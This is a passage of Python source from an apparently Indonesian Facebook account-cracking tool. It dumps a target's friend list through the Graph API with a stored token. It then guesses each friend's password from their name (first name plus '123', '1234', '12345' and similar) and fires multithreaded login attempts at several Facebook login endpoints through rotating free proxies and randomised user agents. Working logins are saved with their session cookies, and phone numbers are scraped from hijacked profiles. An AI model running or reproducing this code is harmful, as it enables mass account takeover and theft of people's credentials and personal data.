  486.             else:
  487.                 print(f"%s\x1b[1;92m »\033[0mterjadi kesalahan"%(mer))
  488.         else:
  489.             if "c_user" in session.cookies.get_dict():
  490.                 print(f"\r%s%s akun tidak checkpoint, silahkan anda login "%(hijo))
  491.                 open('MBF-OK/MBF-OK.txt', 'a').write("%s%s|%s\n" % (hijo,user,pw))
  492.         for opsi in range(len(cek)):
  493.             number +=1
  494.             print(f"  %s%s. %s%s"%(puti,str(number),kun,cek[opsi]))
  495.     elif "login_error" in str(response):
  496.         oh = run.find(
  497.         "div",
  498.     {"id":"login_error"}).find("div").text
  499.         print(f"%s » %s"%(mer,oh))
  500.     else:
  501.         print(f"%s » \033[0mlogin gagal, silahkan cek kembali id dan kata sandi"%(mer))       
  502.  
  503. #----------[ CRACK-FILE ]----------#
  504. def krek_file():
  505.     try:vin = os.listdir('/sdcard/MBF-DUMP/')
  506.     except FileNotFoundError:prints(Panel.fit(f"[red] Maaf Kak File Tidak Di Temukan, Silakan Dump Terlebih Dahulu ",style=f"white"));time.sleep(3);menu()
  507.     if len(vin)==0:prints(Panel.fit(f"[red] Maaf Kak Anda Tidak Mempunyai File Dump, Silakan Dump Terlebih Dahulu ",style=f"white"));time.sleep(3);menu()
  508.     else:
  509.         cih = 0
  510.         lol = {}
  511.         for isi in vin:
  512.             try:hem = open('/sdcard/MBF-DUMP/'+isi,'r').readlines()
  513.             except:continue
  514.             cih+=1
  515.             if cih<99999:nom = ''+str(cih);lol.update({str(cih):str(isi)});lol.update({nom:str(isi)});prints(Panel.fit(f"{P2}[{M2}0%s{P2}] %s {K2}({H2}%s idz{K2})"%(nom,isi,len(hem)),style=f"white"))
  516.             else:lol.update({str(cih):str(isi)});print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x);prints(Panel.fit(f"{P2}[{M2}0%s{P2}] %s {K2}({H2}%s idz{K2})"%(nom,isi,len(hem)),style=f"white"))
  517.         hooh = input(f"[•] PILIH : ")
  518.         try:cuk = lol[hooh]
  519.         except KeyError:prints(Panel(f"[white] INPUT YANG ANDA MASUKAN [red]SALAH[white] SILAKAN MASUKAN DENGAN BENAR ",width=80,padding=(0,10),style=f"white"));time.sleep(3);menu()
  520.         try:lin = open('/sdcard/MBF-DUMP/'+cuk,'r').read().splitlines()
  521.         except:prints(Panel.fit(f"[red] Maaf Kak File Tidak Di Temukan, Silakan Dump Terlebih Dahulu ",style=f"white"));time.sleep(3);menu()
  522.         for idz in lin:
  523.             id.append(idz)
  524.         atur_id()
  525.  
  526. #----------[ DUMP-FILE ]----------#    
  527. def dump_file():
  528.     try:
  529.         os.mkdir('/sdcard/MBF-DUMP')
  530.     except:
  531.          pass
  532.     try:
  533.         xyc = input(f"\n[•] MASUKAN ID : ")
  534.         xyd = input(f"[•] NAMA FILE DUMP : ")
  535.         xxr  = ('/sdcard/MBF-DUMP/' + xyd + '.txt').replace(' ', '_')
  536.         xxx = open(xxr, 'w')
  537.         token = open('.cyxieontoken.txt','r').read()
  538.         cok = open('.cyxieoncokies.txt','r').read()
  539.         coki = {"cookie":cok}
  540.         xnx = requests.get('https://graph.facebook.com/%s?fields=friends.limit(99999)&access_token=%s'%(xyc,token),cookies=coki).json()
  541.         for xxn in xnx['friends']['data']:id.append(xxn['id']+'|'+xxn['name']);xxx.write(xxn['id']+'|'+xxn['name']+ '\n');print('\r[•] ID : %s '%(len(id)),end='');time.sleep(0.0050)
  542.         print(f"\n[•] Berhasil Dump Id Dari Publik")
  543.         print(f"[•] Salin Output File ( %s )"%(xxr))
  544.         exit()
  545.     except (KeyError,IOError):
  546.         os.remove(xxr)
  547.         prints(Panel.fit(f"[red] Gagal Dump Id Yang Anda Masukan Tidak Publik",style=f"white"));time.sleep(3);menu()
  548.        
  549. #----------[ HASIL-OK ]----------#            
  550. def hasil_ok():
  551.     try:vin = os.listdir('MBF-OK')
  552.     except FileNotFoundError:prints(Panel.fit(f"%sMaaf Kak File Tidak Di Temukan, Silakan Dump Terlebih Dahulu"%(M2),style=f"#AAAAAA"));time.sleep(3);menu()
  553.     if len(vin)==0:prints(Panel.fit(f"%sMaaf Kak Anda Tidak Mempunyai File OK, Silakan Crack Terlebih Dahulu"%(M2),style=f"#AAAAAA"));time.sleep(3);menu()
  554.     else:
  555.         print(f"{puti}╭────────────────────────────────────────────")
  556.         cih = 0
  557.         lol = {}
  558.         for isi in vin:
  559.             try:hem = open('MBF-OK/'+isi,'r').readlines()
  560.             except:continue
  561.             cih+=1
  562.             if cih<100:nom = '0'+str(cih);lol.update({str(cih):str(isi)});lol.update({nom:str(isi)});print(f'{puti}└──[ %s. %s ( %s Idz )'%(nom,isi,len(hem)))
  563.             else:lol.update({str(cih):str(isi)});print(f'{puti}└──[ %s. %s ( %s Idz )'%(nom,isi,len(hem)))
  564.         print(f"{puti}╭────────────────────────────────────────────")
  565.         geeh = input(f'{puti}└──[ Input file : ')
  566.         try:geh = lol[geeh]
  567.         except KeyError:prints(Panel(f"%sINPUT YANG ANDA MASUKAN%s SALAH%s SILAKAN MASUKAN DENGAN BENAR"%(P2,M2,P2),width=80,padding=(0,10),style=f"#AAAAAA"));time.sleep(3);menu()
  568.         try:lin = open('MBF-OK/'+geh,'r').read().splitlines()
  569.         except:prints(Panel.fit(f"%sMaaf Kak File Tidak Di Temukan, Silakan Dump Terlebih Dahulu"%(M2),style=f"#AAAAAA"));time.sleep(3);menu()
  570.         nocp=0
  571.         for cpku in range(len(lin)):
  572.             cpkuni=lin[nocp].split('|')
  573.             tree = Tree("")
  574.             tree.add(f"{hijo}{cpkuni[0]}{puti}").add(f"{hijo}{cpkuni[1]}{puti}")
  575.             tree.add(f"{hijo}{cpkuni[2]}{puti}")
  576.             prints(tree)
  577.             nocp +=1
  578.         print(f"{puti}╭────────────────────────────────────────────")
  579.         input(f'{puti}└──[{mer} Klik Enter {puti}]')
  580.         menu()
  581.  
  582. #----------[ HASIL-CP]----------#            
  583. def hasil_cp():
  584.     try:vin = os.listdir('MBF-CP')
  585.     except FileNotFoundError:prints(Panel.fit(f"%sMaaf Kak File Tidak Di Temukan, Silakan Dump Terlebih Dahulu"%(M2),style=f"#AAAAAA"));time.sleep(3);menu()
  586.     if len(vin)==0:prints(Panel.fit(f"%sMaaf Kak Anda Tidak Mempunyai File OK, Silakan Crack Terlebih Dahulu"%(M2),style=f"#AAAAAA"));time.sleep(3);menu()
  587.     else:
  588.         print(f"{puti}╭────────────────────────────────────────────")
  589.         cih = 0
  590.         lol = {}
  591.         for isi in vin:
  592.             try:hem = open('MBF-CP/'+isi,'r').readlines()
  593.             except:continue
  594.             cih+=1
  595.             if cih<100:nom = '0'+str(cih);lol.update({str(cih):str(isi)});lol.update({nom:str(isi)});print(f'{puti}└──[ %s. %s ( %s Idz )'%(nom,isi,len(hem)))
  596.             else:lol.update({str(cih):str(isi)});print(f'{puti}└──[ %s. %s ( %s Idz )'%(nom,isi,len(hem)))
  597.         print(f"{puti}╭────────────────────────────────────────────")
  598.         geeh = input(f'{puti}└──[ Input file : ')
  599.         try:geh = lol[geeh]
  600.         except KeyError:prints(Panel(f"%sINPUT YANG ANDA MASUKAN%s SALAH%s SILAKAN MASUKAN DENGAN BENAR"%(P2,M2,P2),width=80,padding=(0,10),style=f"#AAAAAA"));time.sleep(3);menu()
  601.         try:lin = open('MBF-CP/'+geh,'r').read().splitlines()
  602.         except:prints(Panel.fit(f"%sMaaf Kak File Tidak Di Temukan, Silakan Dump Terlebih Dahulu"%(M2),style=f"#AAAAAA"));time.sleep(3);menu()
  603.         nocp=0
  604.         for cpku in range(len(lin)):
  605.             cpkuni=lin[nocp].split('|')
  606.             tree = Tree("")
  607.             tree.add(f"{kun}{cpkuni[0]}{puti}").add(f"{kun}{cpkuni[1]}{puti}")
  608.             prints(tree)
  609.             nocp +=1
  610.         print(f"{puti}╭────────────────────────────────────────────")
  611.         input(f'{puti}└──[{mer} Klik Enter {puti}]')
  612.         menu()
  613.        
  614. #----------[ MENU-IDZ ]----------#     
  615. def atur_id():
  616.      rr = random.randint
  617.      for khusus_random in id:
  618.             cyxieon_id = rr(0,len(id2))
  619.             id2.insert(cyxieon_id, khusus_random)
  620.      atur_method()
  621.  
  622. #----------[ MENU-METHOD ]----------#                  
  623. def atur_method():
  624.      prints(Panel(f" [white][[red]01[white]] MOBILE \t [red]([green] VALIDATE [red]) \n [white][[red]02[white]] MBASIC \t [red]([green] VALIDATE [red]) \n [white][[red]03[white]] MOBILE \t [red]([green] ASYINC [red]) \n [white][[red]04[white]] ALPHA \t [red]([green] ASYINC [red]) \n [white][[red]05[white]] TOUCH \t [red]([green] ASYINC [red]) \n [white][[red]06[white]] MOBILE \t [red]([green] REGULER [red]) ",width=80,padding=(0,22),style=f"white"))
  625.      xx = input(f"[•] METHOD : ")
  626.      if xx in ['1','01']:method.append('MBF01')
  627.      elif xx in ['2','02']:method.append('MBF02')
  628.      elif xx in ['3','03']:method.append('MBF03')    
  629.      elif xx in ['4','04']:method.append('MBF04')
  630.      elif xx in ['5','05']:method.append('MBF05')
  631.      elif xx in ['6','06']:method.append('MBF06')                        
  632.      else:
  633.           method.append('MBF01')
  634.      user_agent()
  635.  
  636. #----------[ USER-AGENT ]----------#              
  637. def user_agent():
  638.     prints(Panel(f"[white] HAY KAK APAKAH MAU MENAMBAHKAN USER AGENT MANUAL (y/t) ",width=80,padding=(0,10),style=f"white"))
  639.     uatambah = input(f'[•] PILIH : ')
  640.     if uatambah in ['y','Ya','ya','Y']:
  641.          uadia.append('ya')
  642.          prints(Panel(f"[white] HAY KAK SILAKAN MASUKAN USER AGENT MANUAL KAKAK ",width=80,padding=(0,12),style=f"white"))
  643.          mantap = input(f'[•] UA TAMBAH : ')
  644.          uamu.append(mantap)
  645.     else:
  646.         uadia.append('no')
  647.     password()
  648.  
  649. #----------[ PASSWORD]----------#                  
  650. def password():
  651.     prints(Panel(f"[white] HAY KAK APAKAH MAU MENAMBAHKAN PASSWORD MANUAL (y/t) ",width=80,padding=(0,10),style=f"white"))
  652.     passwtamb = input(f'[•] PILIH : ')
  653.     if passwtamb in ['y','Y','ya','YA']:
  654.         sandine.append('ya')
  655.         prints(Panel(f"[white] HAY KAK SILAKAN MASUKAN PW GUNAKAN ( , ) UNTUK PEMISAH ",width=80,padding=(0,9),style=f"white"))
  656.         sandiku = input(f'[•] MASUKAN PW : ')
  657.         sandimu = sandiku.split(',')
  658.         for sandixnxx in sandimu:
  659.              sandina.append(sandixnxx)       
  660.     else:
  661.         sandine.append('no')
  662.     aplikasi()
  663.  
  664. #----------[ APLIKASI ]----------#            
  665. def aplikasi():
  666.     prints(Panel(f"[white] HAY KAK APAKAH INGIN MENAMPILKAN APLIKASI DI DALAMNYA (y/t) ",width=80,padding=(0,8),style=f"white"))    
  667.     tampilkasi  = input("[•] PILIH : ")
  668.     if tampilkasi in ['']:
  669.          prints(Panel(f"[white] INPUT YANG ANDA MASUKAN [red]SALAH[white] SILAKAN MASUKAN DENGAN BENAR ",width=80,padding=(0,10),style=f"white"));time.sleep(3);menu()
  670.     elif tampilkasi in ['y','Y','ya','YA']:
  671.         taplikasi.append('ya')
  672.     else:
  673.         taplikasi.append('no')
  674.     otomatis()
  675.    
  676. #----------[ WORDLIST ]----------#              
  677. def otomatis():
  678.     global prog,des
  679.     prints(Panel(f"[white] HAY KAK JANGAN LUPA MODE PESAWAT SETIAP 300 ID YA KAK ",width=80,padding=(0,10),style=f"white"))
  680.     prog = Progress(TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
  681.     des = prog.add_task('',total=len(id2))
  682.     with prog:
  683.         with tred(max_workers=30) as pool:
  684.             for akun in id2:
  685.                 idf,nama = akun.split('|')[0],akun.split('|')[1].lower()
  686.                 depan = nama.split(" ")[0]
  687.                 pwx = []
  688.                 if len(nama)<=5:
  689.                     if len(depan)<=1 or len(depan)<=2:
  690.                         pass
  691.                     else:
  692.                         pwx.append(depan+"123")
  693.                         pwx.append(depan+"1234")
  694.                         pwx.append(depan+"12345")
  695.                         pwx.append(depan+"321")
  696.                 else:
  697.                     if len(depan)<=1 or len(depan)<=2:
  698.                         try:
  699.                             tengah = nama.split(" ")[1]
  700.                             if len(tengah)<=3:
  701.                                 pass
  702.                             else:
  703.                                 pwx.append(tengah+"123")
  704.                                 pwx.append(tengah+"1234")
  705.                                 pwx.append(tengah+"12345")
  706.                                 pwx.append(depan+"321")
  707.                                 pwx.append(nama)
  708.                         except:
  709.                             try:
  710.                                 belakang = nama.split(' ')[2]
  711.                                 if len(belakang)<=3:pass
  712.                                 else:
  713.                                     pwx.append(belakang+"123")
  714.                                     pwx.append(belakang+"1234")
  715.                                     pwx.append(belakang+"12345")
  716.                                     pwx.append(depan+"321")
  717.                                     pwx.append(nama)
  718.                             except:
  719.                                  pwx.append(nama)
  720.                     else:
  721.                         pwx.append(nama)
  722.                         pwx.append(depan+"123")
  723.                         pwx.append(depan+"1234")
  724.                         pwx.append(depan+"12345")
  725.                         pwx.append(depan+"321")
  726.                 if 'MBF01' in method:
  727.                     pool.submit(cracking01,idf,pwx,'m.facebook.com')
  728.                 elif 'MBF02' in method:
  729.                     pool.submit(cracking02,idf,pwx,'mbasic.facebook.com')
  730.                 elif 'MBF03' in method:
  731.                     pool.submit(cracking03,idf,pwx,'m.facebook.com')
  732.                 elif 'MBF04' in method:
  733.                     pool.submit(cracking04,idf,pwx,'m.alpha.facebook.com')
  734.                 elif 'MBF05' in method:
  735.                     pool.submit(cracking05,idf,pwx,'touch.facebook.com')
  736.                 elif 'MBF06' in method:
  737.                     pool.submit(cracking06,idf,pwx,'m.facebook.com')
  738.                 else:
  739.                     pool.submit(cracking01,idf,pwx,'m.facebook.com')
  740.                    
  741.     tree = Tree(Panel.fit(f"\r[white] Crack Telah Selesai Dengan Jumlah [green]OK : {ok}[white] Dan Jumlah [kun]CP : {cp}[white]",style=f"white"))
  742.     tree.add(Panel.fit(f"\r[white] Apakah Ingin Lanjut Crack Kembali (y/t) ",style=f"white"))
  743.     prints(tree)
  744.     gas = input(f"[•] PILIH : ")
  745.     if gas in ['y','Y','ya','YA']:
  746.         menu()
  747.     else:
  748.         tree = Tree("")
  749.         tree.add(Panel.fit(f"\r[white] Good Byee Jangan Lupa Bersyukur Dengan Hasilnya ",style=f"white"))
  750.         prints(tree)
  751.         time.sleep(2)
  752.         exit()
  753.  
  754. #----------[ MOBILE VALIDATE ]----------#                              
  755. def cracking01(idf,pwx,url):
  756.     global loop,ok,cp
  757.     ses = requests.Session()
  758.     rr = random.randint
  759.     rc = random.choice
  760.     emot = rc(["😝","😜","🤪"])
  761.     prog.update(des,description=f"\r {emot} MBF 01 ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop} [white]) ")
  762.     prog.advance(des)
  763.     for pw in pwx:
  764.         try:
  765.             if 'ya' in uadia: ua = uamu[0]
  766.             proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
  767.             open('socksku.txt','w').write(proxs)
  768.             nip = rc(proxs)
  769.             proxs = {'http': 'socks4://'+nip}
  770.             ua = rc(ugen)
  771.             ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])
  772.             link = ses.get(f'https://{url}/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2F{url}%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
  773.             date = {
  774.         "lsd":
  775.             re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  776.         "jazoest":
  777.                re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),
  778.                "uid":idf,
  779.                "next":f"https://{url}/v2.3/dialog/oauth?app_id=124024574287414&cbt=1651658200978&e2e=%7B%22init%22%3A1651658200978%7D&sso=chrome_custom_tab&scope=email&state=%7B%220_auth_logger_id%22%3A%2268f15bae-23f8-463c-8660-5cf1226d97f6%22%2C%227_challenge%22%3A%22dahj28hqtietmhrgprpp%22%2C%223_method%22%3A%22custom_tab%22%7D&redirect_uri=fbconnect%3A%2F%2Fcct.com.instathunder.app&response_type=token%2Csigned_request%2Cgraph_domain%2Cgranted_scopes&return_scopes=true&ret=login&fbapp_pres=0&logger_id=68f15bae-23f8-463c-8660-5cf1226d97f6&tp=unspecified",
  780.                "flow":"login_no_pin",
  781.                "pass":pw,
  782.             }
  783.             #cokz = ";".join([ "%s=%s" % (key, value) for key, value in link.cookies.get_dict().items()])  
  784.             head = (
  785.             {
  786.             'Host': url,
  787.             'cache-control': 'max-age=0',
  788.             'dpr': f'{str(rr(1,5))}',
  789.             'viewport-width': f'{str(rr(400,999))}',
  790.             'sec-ch-ua': f'"Not?A_Brand";v="{str(rr(8,20))}", "Chromium";v="{str(rr(108,114))}", "Google Chrome";v="{str(rr(108,114))}"',
  791.             'sec-ch-ua-mobile': '?1',
  792.             'sec-ch-ua-platform': '"Android"',
  793.             'sec-ch-ua-platform-version': f'"{str(rr(5,14))}.0.0"',
  794.             'sec-ch-ua-full-version-list':f'"Chromium";v="{str(rr(99,115))}.0.{str(rr(5000,5999))}.{str(rr(40,99))}", "Google Chrome";v="{str(rr(99,115))}.0.{str(rr(5000,5999))}.{str(rr(40,99))}", "Not:A-Brand";v="{str(rr(8,20))}.0.0.0"',
  795.             'sec-ch-prefers-color-scheme': 'light',
  796.             'upgrade-insecure-requests': '1',
  797.             'origin': 'https://'+url,
  798.             'content-type': 'application/x-www-form-urlencoded',
  799.             'user-agent': ua,
  800.             'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
  801.             'x-requested-with': 'com.facebook.katana',
  802.             'sec-fetch-site': 'same-origin',
  803.             'sec-fetch-mode': 'cors',
  804.             'sec-fetch-user': '?1',
  805.             'sec-fetch-dest': 'empty',
  806.             'referer': f'https://{url}/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2F{url}%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr',
  807.             'accept-encoding': 'gzip, deflate, br',
  808.             'accept-language': 'zh-CN;q=0.8,zh;q=0.7'
  809.             }
  810.         )
  811.             po = ses.post(f"https://{url}/login/device-based/validate-password/?shbl=0",headers=head, data=date, allow_redirects=False,proxies=proxs)
  812.             #po = ses.post(f"https://{url}/login/device-based/validate-password/?shbl=0",headers=head,data=date,cookies={"cookie":cokz},allow_redirects=False,proxies=proxs)
  813.             if "datr" in ses.cookies.get_dict().keys():
  814.                 if 'no' in taplikasi:
  815.                     ok+=1
  816.                     coki=po.cookies.get_dict()
  817.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  818.                     #cooz = ses.cookies.get_dict()
  819.                     #kuki = "datr=" + cooz["datr"] + ";" + ("sb=" + cooz["sb"]) + ";" + "locale=id_ID" + ";" + ("c_user=" + cooz["c_user"]) + ";" + ("xs=" + cooz["xs"]) + ";" + ("fr=" + cooz["fr"]) + ";"
  820.                     tree = Tree(Panel.fit(f"[green] LOGIN SUCKSES ",style=f"white"))
  821.                     tree.add(Panel.fit(f"[green] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[green] {tahun(idf)} ",style=f"white"))
  822.                     tree.add(Panel.fit(f"[green]{kuki}",style=f"white"))
  823.                     tree.add(Panel.fit(f"[green]{ua}",style=f"white"))
  824.                     prints(tree)
  825.                     open('MBF-OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
  826.                     break
  827.                    
  828.                 elif 'ya' in taplikasi:
  829.                     ses = requests.Session()
  830.                     head_pro = {'user-agent': 'SupportsFresco=1 Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Build/MMB29Q) Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'}
  831.                     kon = 'https://mbasic.facebook.com/profile.php?v=info'
  832.                     req = ses.get(kon,headers = head_pro, cookies = kuki).text
  833.                     try:
  834.                          cari_nomor = re.search('>08(.*?)-(.*?)-(.*?)</span>',str(req)).groups(1)
  835.                          nomor = '08{}{}{}'.format(cari_nomor[0],cari_nomor[1],cari_nomor[2])
  836.                     except:
  837.                          nomor = '-'
  838.                     ok+=1
  839.                     coki = po.cookies.get_dict()
  840.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  841.                     #cooz = ses.cookies.get_dict()
  842.                     #kuki = "datr=" + cooz["datr"] + ";" + ("sb=" + cooz["sb"]) + ";" + "locale=id_ID" + ";" + ("c_user=" + cooz["c_user"]) + ";" + ("xs=" + cooz["xs"]) + ";" + ("fr=" + cooz["fr"]) + ";"
  843.                     tree = Tree(Panel.fit(f"[green] LOGIN SUCKSES ",style=f"white"))
  844.                     tree.add(Panel.fit(f"[green] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[green] {tahun(idf)} ",style=f"white"))
  845.                     tree.add(Panel.fit(f"[green] EMAIL : (_) ",style=f"white"))
  846.                     tree.add(Panel.fit(f"[green] NOMOR : ( {cari_nomor} ) ",style=f"white"))                   
  847.                     tree.add(Panel.fit(f"[green]{kuki}",style=f"white"))
  848.                     tree.add(Panel.fit(f"[green]{ua}",style=f"white"))
  849.                     prints(tree)
  850.                     open('MBF-OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
  851.                     cek_apk(kuki)
  852.                     break
  853.                                
  854.             elif "checkpoint" in po.cookies.get_dict().keys():
  855.                 tree = Tree(Panel.fit(f"[yellow] LOGIN CHECKPOINT ",style=f"white"))
  856.                 tree.add(Panel.fit(f"[yellow] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[yellow] {tahun(idf)} ",style=f"white"))
  857.                 tree.add(Panel.fit(f"[yellow]{ua}",style=f"white"))
  858.                 prints(tree)
  859.                 open('MBF-CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  860.                 akune.append(idf+'|'+pw)
  861.                 ceker(idf,pw)
  862.                 cp+=1
  863.                 break  
  864.                
  865.             else:
  866.                 continue
  867.         except requests.exceptions.ConnectionError:
  868.             time.sleep(31)
  869.     loop+=1
  870.    
  871. #----------[ MBASIC VALIDATE ]----------#                              
  872. def cracking02(idf,pwx,url):
  873.     global loop,ok,cp
  874.     ses = requests.Session()
  875.     rr = random.randint
  876.     rc = random.choice
  877.     emot = rc(["😝","😜","🤪"])
  878.     prog.update(des,description=f"\r {emot} MBF 02 ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop} [white]) ")
  879.     prog.advance(des)
  880.     for pw in pwx:
  881.         try:
  882.             if 'ya' in uadia: ua = uamu[0]
  883.             proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
  884.             open('socksku.txt','w').write(proxs)
  885.             nip = rc(proxs)
  886.             proxs = {'http': 'socks4://'+nip}
  887.             ua = rc(ugen)
  888.             ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])
  889.             link = ses.get(f'https://{url}/login.php?skip_api_login=1&api_key=607187076044599&kid_directed_site=0&app_id=607187076044599&signed_next=1&next=https%3A%2F%2F{url}%2Fv8.0%2Fdialog%2Foauth%3Fclient_id%3D607187076044599%26display%3Dpopup%26redirect_uri%3Dhttps%253A%252F%252Fpergikuliner.com%252Fusers%252Fauth%252Ffacebook%252Fcallback%26response_type%3Dcode%26scope%3Demail%26state%3D90447ac345e71ee7b3f3fe074078ad82078d27a0eb62a266%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D6321ea45-1edf-459d-b7ba-f3006d4e5264%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fpergikuliner.com%2Fusers%2Fauth%2Ffacebook%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D90447ac345e71ee7b3f3fe074078ad82078d27a0eb62a266%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
  890.             date = {
  891.         "lsd":
  892.             re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  893.         "jazoest":
  894.                re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),
  895.                "uid":idf,
  896.                "next":f"https://{url}/v8.0/dialog/oauth?client_id=607187076044599&display=popup&redirect_uri=https%3A%2F%2Fpergikuliner.com%2Fusers%2Fauth%2Ffacebook%2Fcallback&response_type=code&scope=email&state=90447ac345e71ee7b3f3fe074078ad82078d27a0eb62a266&ret=login&fbapp_pres=0&logger_id=6321ea45-1edf-459d-b7ba-f3006d4e5264&tp=unspecified",
  897.                "flow":"login_no_pin",
  898.                "pass":pw,
  899.             }
  900.             cokz = ";".join([ "%s=%s" % (key, value) for key, value in link.cookies.get_dict().items()])   
  901.             head = (
  902.             {
  903.             'Host': url,
  904.             'cache-control': 'max-age=0',
  905.             'dpr': f'{str(rr(1,5))}',
  906.             'viewport-width': f'{str(rr(400,999))}',
  907.             'sec-ch-ua': f'"Not?A_Brand";v="{str(rr(8,20))}", "Chromium";v="{str(rr(108,114))}", "Google Chrome";v="{str(rr(108,114))}"',
  908.             'sec-ch-ua-mobile': '?1',
  909.             'sec-ch-ua-platform': '"Android"',
  910.             'sec-ch-ua-platform-version': f'"{str(rr(5,14))}.0.0"',
  911.             'sec-ch-ua-full-version-list':f'"Chromium";v="{str(rr(99,115))}.0.{str(rr(5000,5999))}.{str(rr(40,99))}", "Google Chrome";v="{str(rr(99,115))}.0.{str(rr(5000,5999))}.{str(rr(40,99))}", "Not:A-Brand";v="{str(rr(8,20))}.0.0.0"',
  912.             'sec-ch-prefers-color-scheme': 'light',
  913.             'upgrade-insecure-requests': '1',
  914.             'origin': 'https://'+url,
  915.             'content-type': 'application/x-www-form-urlencoded',
  916.             'user-agent': ua,
  917.             'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
  918.             'x-requested-with': 'com.facebook.katana',
  919.             'sec-fetch-site': 'same-origin',
  920.             'sec-fetch-mode': 'cors',
  921.             'sec-fetch-user': '?1',
  922.             'sec-fetch-dest': 'empty',
